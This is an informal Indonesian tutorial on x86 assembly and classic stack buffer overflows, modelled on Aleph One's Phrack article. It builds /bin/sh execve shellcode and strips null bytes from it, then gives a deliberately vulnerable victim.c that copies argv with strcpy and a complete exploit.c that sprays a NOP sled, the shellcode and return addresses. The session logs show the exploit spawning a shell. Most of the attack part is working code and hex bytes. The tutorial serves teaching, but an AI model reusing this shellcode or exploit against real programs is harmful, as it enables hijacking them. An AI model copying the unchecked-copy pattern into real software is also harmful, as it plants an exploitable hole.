Hm... sebentar, kita bahas dulu dua instruksi assembler yang agak mirip-mirip, dan bisa membingungkan bahkan menyesatkan yaitu MOV mem,reg dengan LEA mem,reg: LEA artinya Load Effective Address, sementara MOV artinya menyalin/mengkopi isi memori/register.
gambar-3.3. ____//___________________________ // |1|3|5|7|9|A|C|E| // |2|4|6|8|0|B|D|F| ____//_____|_|_|_|_|_|_|_|_|_____ // | | 000 92 100
misalkan jika nilai SP sekarang adalah 92, maka instruksi MOVL %ESP,%EAX akan menyalin *isi* ESP seukuran dword atau 12345678 kedalam EAX. jadi, EAX=12345678, sedangkan LEAL %ESP,%EAX akan menyalin *address* ESP atau 00000092 ke dalam EAX. jadi, EAX=00000092.
Dalam syntax intel, instruksi LEA EAX,ESP identik dengan
mov EAX, OFFSET [ESP]
Dalam syntax att, jika operand untuk mov memakai prefix ($) maka yang diambil adalah: address-nya. Sebaliknya jika tidak memakai prefix, maka yang diambil adalah: isi-memori-nya
movl $var,%eax => EAX = address var movl var,%eax => EAX = nilai/isi memori dari var
hati-hati, immediate operand (biasanya berupa angka), justru menggunakan prefix $ seperti dalam: movl $-123,%eax, artinya menjadikan EAX bernilai -123.
Sebaliknya untuk pengalamatan tidak langsung oleh register, notasinya adalah memakai tanda kurung.
mov (%ebx),%eax : salin isi memory yang alamatnya ditampung oleh BX. nilai BX = address. mov %ebx,%eax : salin nilai BX kedalam AX
Kita lihat bahwa offset memory sama dengan nilai BX itu sendiri, jadi jika/selama tidak terdapat displacement lainnya dalam base indexing, maka instruksi: "lea (%ebx),%eax" hasilnya adalah sama saja dengan instruksi: "mov %ebx,%eax"
begitu kira-kira, bingun? yah enggak apa-lah, saya juga enggak yakin he-he-he.
(enggak deh, bo-ong,.. cuma becanda, segitu aja marah, bener begitu koq. sungguh deh... please...)
udah ah, kita lanjut... listingnya adalah sbb:
------------------------------------------------------------ DATA .LC0: .byte 0x2f,0x62,0x69,0x6e,0x2f,0x73,0x68,0x0 TEXT/CODE main: pushl %ebp ;>prolog movl %esp,%ebp ;> subl $24,%esp ;> movl $.LC0,-8(%ebp) ; address sh[0] / .LC0 / "/bin/sh" ; disimpan ke stack movl $0,-4(%ebp) ; address sh[1] / NULL disimpan ke stack addl $-4,%esp ;>offset penala stack pushl $0 ; arg3 = NULL leal -8(%ebp),%eax ; AX = address [BP-8] pushl %eax ; arg2 = offset address [BP-8] movl -8(%ebp),%eax ; AX = isi memori dari [BP-8] pushl %eax ; arg1 = address "/bin/sh" call execve addl $16,%esp ;>penala stack addl $-12,%esp ;>offset penala stack pushl $0 ; arg1 call _exit addl $16,%esp ;>penala stack .L2: leave ret ------------------------------------------------------------
Kita ambil beberapa baris assembly yang kita perlukan untuk menyusun program kita, yaitu pemanggilan spawning dengan execve dan clean exit
[aa]$gdb -q contoh4 (gdb) disass main Dump of assembler code for function main: 0x80481d8 <main>: push %ebp 0x80481d9 <main+1>: mov %esp,%ebp 0x80481db <main+3>: sub $0x18,%esp 0x80481de <main+6>: movl $0x8049c41,0xfffffff8(%ebp) 0x80481e5 <main+13>: movl $0x0,0xfffffffc(%ebp) 0x80481ec <main+20>: add $0xfffffffc,%esp 0x80481ef <main+23>: push $0x0 0x80481f1 <main+25>: lea 0xfffffff8(%ebp),%eax 0x80481f4 <main+28>: push %eax 0x80481f5 <main+29>: mov 0xfffffff8(%ebp),%eax 0x80481f8 <main+32>: push %eax 0x80481f9 <main+33>: call 0x8048360 <execve> 0x80481fe <main+38>: add $0x10,%esp 0x8048201 <main+41>: add $0xfffffff4,%esp 0x8048204 <main+44>: push $0x0 0x8048206 <main+46>: call 0x804834c <_exit> 0x804820b <main+51>: add $0x10,%esp 0x804820e <main+54>: mov %esi,%esi 0x8048210 <main+56>: leave 0x8048211 <main+57>: ret End of assembler dump. (gdb) gdb execve Undefined command: "gdb". Try "help". (gdb) oops Undefined command: "oops". Try "help". (gdb) disass execve Dump of assembler code for function execve: 0x8048360 <execve>: lea 0x3b,%eax 0x8048366 <execve+6>: int $0x80 0x8048368 <execve+8>: jb 0x8048358 <_exit+12> 0x804836a <execve+10>: ret 0x804836b <execve+11>: nop 0x804836c <execve+12>: push %ebp 0x804836d <execve+13>: mov %esp,%ebp 0x804836f <execve+15>: sub $0xc,%esp 0x8048372 <execve+18>: push %edi . . (dan seterusnya beberapa lembar) (gdb) disass exit Dump of assembler code for function exit: 0x804991c <exit>: push %ebp 0x804991d <exit+1>: mov %esp,%ebp 0x804991f <exit+3>: sub $0xc,%esp 0x8049922 <exit+6>: push %edi 0x8049923 <exit+7>: push %esi 0x8049924 <exit+8>: push %ebx 0x804992d <exit+17>: je 0x804994a <exit+46> 0x804992f <exit+19>: nop . . (dan seterusnya... salah. mustinya "_exit", bukan "exit") (gdb) disass _exit Dump of assembler code for function _exit: 0x804834c <_exit>: lea 0x1,%eax 0x8048352 <_exit+6>: int $0x80 0x8048354 <_exit+8>: ret 0x8048355 <_exit+9>: lea 0x0(%esi),%esi 0x8048358 <_exit+12>: jmp 0x8049a34 <.cerror> 0x804835d <_exit+17>: lea 0x0(%esi),%esi End of assembler dump. (gdb) q [aa]$
Shellcode
Nah sekarang kita cukup punya bahan. Menggunakan trik lama, kita masukkan address string ke stack dengan perintah: "call".
contoh5.c (assembler code) ------------------------------------------------------------ pushl $0 ; address NULL jmp shell ; ambil address stringz "/bin/sh" mulai: pushl $0 ; arg3 (SP berkurang 4) leal 4(%esp),%eax ; jadi address string berada di SP+4 pushl %eax ; masukkan ke arg2 (SP berkurang lagi 4) mov 8(%esp),%eax ; address string sekarang di SP+8 pushl %eax ; masukkan sebagai arg 1 sub $4,%esp ; dummy-ret (buat syscall) mov $0x3b,%eax ; service number 0x3b = execve int $0x80 ; syscall add $16,%esp ; penala stack add $8,%esp ; offset untuk ret & push 0 diatas pushl $0 sub $4,%esp mov $0x1,%eax int $0x80 add $8,%esp jmp CIAO shell: call (mulai) ; address stringz "/bin/sh" .asciz \"/bin/sh\" ; disimpan ke stack (SP) CIAO: ------------------------------------------------------------
lalu tinggal kita masukkan ke dalam block assembler int main() { asm(" xxxx "); }, selesailah sudah :) mari kita test hasilnya:
[aa]$./contoh5 $ echo "Hello shell!" Hello shell! $ exit [aa]$
Lalu kita ambil kode-bytenya dengan debugger. Catatan: supaya kelihatan rapi sebaiknya gunakan mode layar minimal 86 kolom. saran saya gunakan x windows atau pake putty telnet, tinggal copy-paste :)
[aa]$gdb -q contoh5 (gdb) set disass intel (gdb) disass main Dump of assembler code for function main: 0x80481d8 <main>: push %ebp 0x80481d9 <main+1>: mov %esp,%ebp 0x80481db <main+3>: push $0x0 0x80481dd <main+5>: jmp 0x804820c <shell> 0x80481df <mulai>: push $0x0 0x80481e1 <mulai+2>: lea 0x4(%esp,1),%eax 0x80481e5 <mulai+6>: push %eax 0x80481e6 <mulai+7>: mov 0x8(%esp,1),%eax 0x80481ea <mulai+11>: push %eax 0x80481eb <mulai+12>: sub $0x4,%esp 0x80481ee <mulai+15>: mov $0x3b,%eax 0x80481f3 <mulai+20>: int $0x80 0x80481f5 <mulai+22>: add $0x10,%esp 0x80481f8 <mulai+25>: add $0x8,%esp 0x80481fb <mulai+28>: push $0x0 0x80481fd <mulai+30>: sub $0x4,%esp 0x8048200 <mulai+33>: mov $0x1,%eax 0x8048205 <mulai+38>: int $0x80 0x8048207 <mulai+40>: add $0x8,%esp 0x804820a <mulai+43>: jmp 0x8048219 <CIAO> 0x804820c <shell>: call 0x80481df <mulai> 0x8048211 <shell+5>: das 0x8048212 <shell+6>: bound %ebp,0x6e(%ecx) 0x8048215 <shell+9>: das 0x8048216 <shell+10>: jae 0x8048280 <atexit+100> 0x8048218 <shell+12>: add %cl,%cl 0x804821a <CIAO+1>: ret End of assembler dump. (gdb) print CIAO - (main+3) $1 = 62 (jumlah byte yang perlu didump) (gdb) x/62b main+3 0x80481db <main+3>: 0x6a 0x00 0xeb 0x2d 0x6a 0x00 0x8d 0x44 0x80481e3 <mulai+4>: 0x24 0x04 0x50 0x8b 0x44 0x24 0x08 0x50 0x80481eb <mulai+12>: 0x83 0xec 0x04 0xb8 0x3b 0x00 0x00 0x00 0x80481f3 <mulai+20>: 0xcd 0x80 0x83 0xc4 0x10 0x83 0xc4 0x08 0x80481fb <mulai+28>: 0x6a 0x00 0x83 0xec 0x04 0xb8 0x01 0x00 0x8048203 <mulai+36>: 0x00 0x00 0xcd 0x80 0x83 0xc4 0x08 0xeb 0x804820b <mulai+44>: 0x0d 0xe8 0xce 0xff 0xff 0xff 0x2f 0x62 0x8048213 <shell+7>: 0x69 0x6e 0x2f 0x73 0x68 0x00 (gdb)q [aa]$
hmm... tapi, masih banyak byte 00 di dalamnya, ini tidak bagus buat BO, string yang akan kita inputkan bisa putus di tengah jalan. Tapi tidak apalah, ini cuma sekedar contoh, banyak shelcodes berserakan di rimba kang-ouw, tinggal kita pungut mana yang kita mau sesuai OS target.
Merapikan Shellcode
Shellcode yang efektif, menghasilkan kode byte yang tidak mengandung karakter kontrol (0 - 0x1F), malah kalau bisa juga tidak mengandung simbol-simbol tertentu seperti backslash (\), single/doublequotes ('/"), anglebracket (<>) dsb.
Trik-trik yang bisa digunakan a.l.:
- mengganti perintah MOV X dengan pasangan PUSH/POP
- menggunakan XOR untuk mereset nilai (membuatnya 0)
- mengganti perintah ADD N dengan SUB -N
lain-lain:
- jika menggunakan displacement index, perbesar/tambah offset hingga lebih dari 0x20
- usahakan jumlah kode-byte merupakan kelipatan 4
Shellcode dibawah ini memodifikasi kodenya sendiri (self- modifying) yaitu dengan mengisi NULL dibelakang "/bin/sh", serta menyimpan nilai di dua lokasi memori setelahnya (seukuran 2 pointer atau 8 byte). Jadi, program dibawah ini tidak bisa langsung dijalankan, (hanya untuk diambil code-byte-nya saja).
contoh6.c ------------------------------------------------------------ int main() { asm(" jmp store mulai: popl %edi # salin address \"/bin/sh\" ke DI pushl %edi # simpan lagi ke stack xorl %eax,%eax # reset EAX sub $-7,%edi # incar ujung string \"/bin/sh\" cld stosb # ASCIIZ \"/bin/sh\" popl %eax # salin address \"/bin/sh\" ke EAX stosl # simpan ke memory storage1 xorl %eax,%eax # reset EAX stosl # simpan ke memory storage2 param: pushl %eax # -> arg3 leal -8(%edi),%esi # ESI = address storage1 pushl %esi # -> arg2 movl -8(%edi),%esi # ESI = isi memori storage1 pushl %esi # -> arg3 // alternatif lain, lebih singkat: // add $-8,%edi // pushl %edi // pushl (%edi) pushl %eax # dummy, syscall ret-address movb $0x3b,%al # service call = 3B int $0x80 # syscall sub $-0x16,%esp // dipotong, biar irit: // xorl %eax,%eax # reset EAX // pushl %eax # arg1 // pushl %eax # dummy // inc %eax # service call = 01 // int $0x80 # syscall // sub $-8,%esp leave ret store: call mulai shell: .ascii \"/bin/sh0\", storage1: .ascii \"1234\" storage2: .ascii \"5678\" CIAO: "); } ------------------------------------------------------------ [aa]$gcc -o contoh6 contoh6.c [aa]$echo "print CIAO - (main+3)" | gdb -q contoh6 (gdb) $1 = 56 (gdb) [aa] [aa]$echo "x/56b main+3" | gdb -q contoh6 (gdb) 0x80481db <main+3>: 0xeb 0x21 0x5f 0x57 0x31 0xc0 0x83 0xef 0x80481e3 <mulai+6>: 0xf9 0xfc 0xaa 0x58 0xab 0x31 0xc0 0xab 0x80481eb <param>: 0x50 0x8d 0x77 0xf8 0x56 0x8b 0x77 0xf8 0x80481f3 <param+8>: 0x56 0x50 0xb0 0x3b 0xcd 0x80 0x83 0xec 0x80481fb <param+16>: 0xea 0xc9 0xc3 0xe8 0xda 0xff 0xff 0xff 0x8048203 <shell>: 0x2f 0x62 0x69 0x6e 0x2f 0x73 0x68 0x30 0x804820b <storage1>: 0x31 0x32 0x33 0x34 0x35 0x36 0x37 0x38 (gdb) [aa]$
setelah kita lihat formatnya, langsung kita copy saja ke file contoh7.c supaya tidak repot
[aa]$echo "x/56b main+3" | gdb -q contoh6 |\ > sed -E s/"^.*:(.*)"/"\"\1\""/g |\ > sed -E s/"space:0"/"\\\\"/g |\ > tee contoh7.c "\xeb\x21\x5f\x57\x31\xc0\x83\xef" "\xf9\xfc\xaa\x58\xab\x31\xc0\xab" "\x50\x8d\x77\xf8\x56\x8b\x77\xf8" "\x56\x50\xb0\x3b\xcd\x80\x83\xec" "\xea\xc9\xc3\xe8\xda\xff\xff\xff" "\x2f\x62\x69\x6e\x2f\x73\x68\x30" "\x31\x32\x33\x34\x35\x36\x37\x38" (gdb) [aa]$
lalu kita edit.
contoh7.c ------------------------------------------------------------ char shell[] = "\xeb\x21\x5f\x57\x31\xc0\x83\xef" "\xf9\xfc\xaa\x58\xab\x31\xc0\xab" "\x50\x8d\x77\xf8\x56\x8b\x77\xf8" "\x56\x50\xb0\x3b\xcd\x80\x83\xec" "\xea\xc9\xc3\xe8\xda\xff\xff\xff" "\x2f\x62\x69\x6e\x2f\x73\x68\x30" "\x31\x32\x33\x34\x35\x36\x37\x38" ; int main() { int *ret; ret = (int*) &ret + 2; // 2 pointer ke long integer // = 8 bytes (*ret) = (int) shell; } ------------------------------------------------------------
Selanjutnya dikompile dan langsung dicoba:
[aa]$gcc -o contoh7 contoh7.c [aa]$./contoh7 $ => (INI ADALAH SHELL) OK, kita sudah masuk kedalam shellcode $ who am i aa ttyp2 Feb 11 00:54 (aa) $ uname -prs Annix 4.56-CANTIX i386 $ make love make: don't know how to make love. Stop $ echo Inul Daratista have a better asses than pinguin $ Inul Daratista have a better asses than pinguin $ exit [aa]$
Exploit
Pada saat sebuah fungsi dijalankan, dimanapun levelnya berada, awalnya nilai SP-nya selalu sama (nilainya tergantung kepada OS ybs.). Seperti diketahui, return value dari sebuah fungsi diperoleh dari nilai register AX, maka dengan menyalin SP ke AX, kita dapat mengambil nilai SP untuk diproses lebih lanjut.
unsigned long SP(void) { asm("movl %esp,%eax"); }
Namun sayangnya kita tidak tahu posisi sebenarnya dari buffer yang akan kita overflow, jadi mau tidak mau ya harus dikira-kira saja sendiri :). Misalnya seperti gambar di bawah ini, jika bufY adalah buffer yang exploitable, maka posisinya di stack adalah SP minus seluruh offset dari buf1 s.d. bufY. Oleh sebab itulah dalam program nanti kita perlu menambah satu variabel yang bisa merubah offset stack ini.
gambar-3.6a. ____________________________//___________________|___ | | bufY | | | | | | bufZ |exploitable| bufX buf1 |buf0|BP |RET| __|______|___________|______//______|____|___|___|___ |
Tujuan utama kita adalah menimpa return-address yang disimpan di stack agar mengarah kembali ke SP yang berisi shellcode kita. Untuk menambah peluang keberhasilan, kita bungkus shellcode dengan deretan NOP di depannya serta barisan return-address di belakangnya.
gambar-3.6b. _________|______________________________________________ | | | | | bufZ | NOPs.. | Shellcode | Return Adresses.. __|______|___________|_______________|__________________ | | |JMP |<------------------------
Pada umumnya address alignment adalah 4, artinya data disimpan dalam address memori dalam kelipatan 4, intel sendiri, dengan alasan performansi, memang menyarankan minimal dalam word boundary (kelipatan 2), dalam praktek, compiler seperti gcc malah melipatnya dalam 8 atau 16 (seperti kita lihat pada contoh-contoh diatas yang melakukan perapian stack dalam kelipatan 16 (biasa disebut juga 1 paragraph). Dalam program exploit nanti, kita akan mengakomodasi kemungkinan anomali atas address alignment, buat mengakali program-program yang mungkin dikompile secara tidak standar atau dipatch secara biner sembarangan, udik, kampungan, dsb. dsb.
Oke deh kakak, untuk menguji shellcode, kita buat dulu sebuah program yang secara tidak senonoh, menyalin argumen ke buffernya tanpa melakukan pengechekan dhulu sebhelumnyha:
victim.c ------------------------------------------------------------ #define EXPLOITABLE_BUFFER_SIZE 256 int main(int argc, char *argv[]) { char msg[]="no argumen specified"; char memble[EXPLOITABLE_BUFFER_SIZE]; strcpy(memble, argc > 1 ? argv[1] : msg); printf("%s\n", memble); } ------------------------------------------------------------
Selanjutnya kita buat program yang menyalin exploit kode ke environment, yang lantas bisa kita inputkan nantinya (supaya tidak perlu diketik manual), sebagai argumen untuk program victim diatas.
Program ini dapat dipanggil dengan argumen kustomisasi yaitu [bufsize] [offset] [alignment] dengan nilai default: 512 0 0
exploit.c ------------------------------------------------------------ #define DEFAULT_BUFSIZE 512 #define DEFAULT_OFFSET 0 #define ALIGNMENT 0 #define ENV_STRING "BUF" #define NOP 0x90 #define midpointer(X) ((X>>3)<<2) char shell[] = "\xeb\x1f\x5f\x57\x31\xc0\x83\xef" "\xf9\xfc\xaa\x58\xab\x31\xc0\xab" "\x50\x83\xc7\xf8\x57\xff\x37\x50" "\xb0\x3b\xcd\x80\x83\xec\xea\xc9" "\xc3\xe8\xdc\xff\xff\xff\x2f\x62" "\x69\x6e\x2f\x73\x68\x30\x31\x32" "\x33\x34\x35\x36\x37\x38" ; /* char shell_new[] = // yang ini lebih singkat "\xeb\x1f\x5f\x57\x31\xc0\x83\xef" "\xf9\xfc\xaa\x58\xab\x31\xc0\xab" "\x50\x83\xc7\xf8\x57\xff\x37\x50" "\xb0\x3b\xcd\x80\x83\xec\xea\xc9" "\xc3\xe8\xdc\xff\xff\xff\x2f\x62" "\x69\x6e\x2f\x73\x68\x30\x31\x32" "\x33\x34\x35\x36\x37\x38" ; char shell_old[] = // yang ini lebih portable "\xeb\x21\x5f\x57\x31\xc0\x83\xef" "\xf9\xfc\xaa\x58\xab\x31\xc0\xab" "\x50\x8d\x77\xf8\x56\x8b\x77\xf8" "\x56\x50\xb0\x3b\xcd\x80\x83\xec" "\xea\xc9\xc3\xe8\xda\xff\xff\xff" "\x2f\x62\x69\x6e\x2f\x73\x68\x30" "\x31\x32\x33\x34\x35\x36\x37\x38" ; */ int SP(void) { asm("movl %esp,%eax"); } int main(int argc, char *argv[]) { char *B, // memory allocated for buffer *pb; // intermediate pointer for buffer long X, // return-address as number *px; // counter pointer int i, bufsize, mid, offsize, align, codelength = strlen(shell); bufsize = argc > 1 ? atoi(argv[1]) : DEFAULT_BUFSIZE; if (bufsize < codelength) bufsize = DEFAULT_BUFSIZE; offsize = argc > 2 ? atoi(argv[2]) : DEFAULT_OFFSET; align = argc > 3 ? atoi(argv[3])%4 : ALIGNMENT; mid = bufsize-midpointer(bufsize); if (B = (char*) malloc(bufsize + 1)) { memset(B, NOP, mid); pb = B; } else exit(1); X = SP() - offsize; printf("shellcode=\n%s\n", shell); printf("codelength=%u, bufsize=%u, mid=%u (%u-%u)\n", codelength, bufsize, mid, bufsize, bufsize-mid); printf("ESP: x%X, Offset: %u (x%X), Effective: x%X, ", X+offsize, offsize, offsize, X); printf("Alignment %u\n", align); printf("Environment variable: \"%s\"\n", ENV_STRING); (char *) px = (pb + mid + align); for (i = mid; i < bufsize; i+=4) // size of pointer *(px++) = X; // = 4 bytes pb = B + mid - midpointer(codelength); for (i = 0; i < codelength; i++) *(pb++) = shell[i]; B[bufsize] = '\0'; setenv(ENV_STRING, B, 1); system(getenv("SHELL")); } ------------------------------------------------------------ [aa]$gcc -o exploit exploit.c
Dengan contoh exploitable-buffer sebesar 256 bytes pada program victim diatas, kita coba program exploit untuk mengeset environment variabel BUF dengan exploit-code yang panjangnya 300 (bytes)
[aa]$./exploit 300 shellcode= ë_W1ÀïùüªX«1À«PÇøWÿ7P°;ÍìêÉÃèÜÿÿÿ/bin/sh012345678 codelength=54, bufsize=300, mid=152 (300-148) ESP: xBFBFFB60, Offset: 0 (x0), Effective: xBFBFFB60, Alignment 0 Environment variable: "BUF"
Program exploit membuka shell baru dengan environment "BUF" yang di-set sesuai exploit-code (300 bytes). Lalu inputkan exploit-code tsb. menjadi argumen untuk program victim:
[aa]$./victim "$BUF" ë_W1ÀïùüªX«1À«PÇøWÿ7P°;ÍìêÉÃèÜÿÿÿ/bin/sh012345678¿¿`û¿¿`û¿¿`û¿¿`û¿¿`û¿¿`û¿¿`û¿¿`û¿¿`û¿¿`û¿¿`û¿¿`û¿¿`û¿¿`û¿¿`û¿¿`û¿¿`û¿¿`û¿¿`û¿¿`û¿¿`û¿¿`û¿¿`û¿¿`û¿¿`û¿¿`û¿¿`û¿¿`û¿¿`û¿¿ Bus error (core dumped) [aa]$
Yaah... hasilnya kacau :(, kita keluar saja deh...
[aa]$exit exit [aa]$
Rupanya ada yang kelupaan, karena exploitable-buffer dalam program victim diatas besarnya adalah 256 bytes, maka sebaiknya kita kurangi SP sebesar kira-kira segitu, yaitu dengan menggunakan offset, misalnya 200 lah...
[aa]$./exploit 300 200 shellcode= ë_W1ÀïùüªX«1À«PÇøWÿ7P°;ÍìêÉÃèÜÿÿÿ/bin/sh012345678 codelength=54, bufsize=300, mid=152 (300-148) ESP: xBFBFFB60, Offset: 200 (xC8), Effective: xBFBFFA98, Alignment 0 Environment variable: "BUF" [aa]$
Dengan cara yang sama seperti diatas, kita embat lagi buffernya
[aa]$./victim "$BUF" ë_W1ÀïùüªX«1À«PÇøWÿ7P°;ÍìêÉÃèÜÿÿÿ/bin/sh012345678¿¿ú¿¿ú¿¿ú¿¿ú¿¿ú¿¿ú¿¿ú¿¿ú¿¿ú¿¿ú¿¿ú¿¿ú¿¿ú¿¿ú¿¿ú¿¿ú¿¿ú¿¿ú¿¿ú¿¿ú¿¿ú¿¿ú¿¿ú¿¿ú¿¿ú¿¿ú¿¿ú¿¿ú¿¿ú¿¿ $ => (INI ADALAH SHELL)
Wow! kereen... :).
$ exit [aa]$exit exit [aa]$
Coba lagi nilai lainnya, nilai offset mestinya lebih besar dari mid (middle point of buffer) supaya return address jatuhnya di bantalan NOP yang empuk.
[aa]$./exploit 400 300 shellcode= ë_W1ÀïùüªX«1À«PÇøWÿ7P°;ÍìêÉÃèÜÿÿÿ/bin/sh012345678 codelength=54, bufsize=400, mid=200 (400-200) ESP: xBFBFFB60, Offset: 300 (x12C), Effective: xBFBFFA34, Alignment 0 Environment variable: "BUF" [aa]$./victim "$BUF" ë_W1ÀïùüªX«1À«PÇøWÿ7P°;ÍìêÉÃèÜÿÿÿ/bin/sh012345678¿¿4ú¿¿4ú¿¿4ú¿¿4ú¿¿4ú¿¿4ú¿¿4ú¿¿4ú¿¿4ú¿¿4ú¿¿4ú¿¿4ú¿¿4ú¿¿4ú¿¿4ú¿¿4ú¿¿4ú¿¿4ú¿¿4ú¿¿4ú¿¿4ú¿¿4ú¿¿4ú¿¿4ú¿¿4ú¿¿4ú¿¿4ú¿¿4ú¿¿4ú¿¿4ú¿¿4ú¿¿4ú¿¿4ú¿¿4ú¿¿4ú¿¿4ú¿¿4ú¿¿4ú¿¿4ú¿¿4ú¿¿4ú¿¿4ú¿¿ $ => (INI ADALAH SHELL) Gracias! $ exit [aa]$exit exit [aa]$
Penutup
Udah-ah, capek :)
_________________________________________________________________ Bacaan: "Smashing the Stack for Fun and Profit", Aleph One, Phrack Magazine 49, Volume Seven, Issue FortyNine, File 14. _________________________________________________________________ by: aa, kritik dan saran: aa.delphi.AT.yahoo.DOT.com jakarta, 20030406 20030415 20030417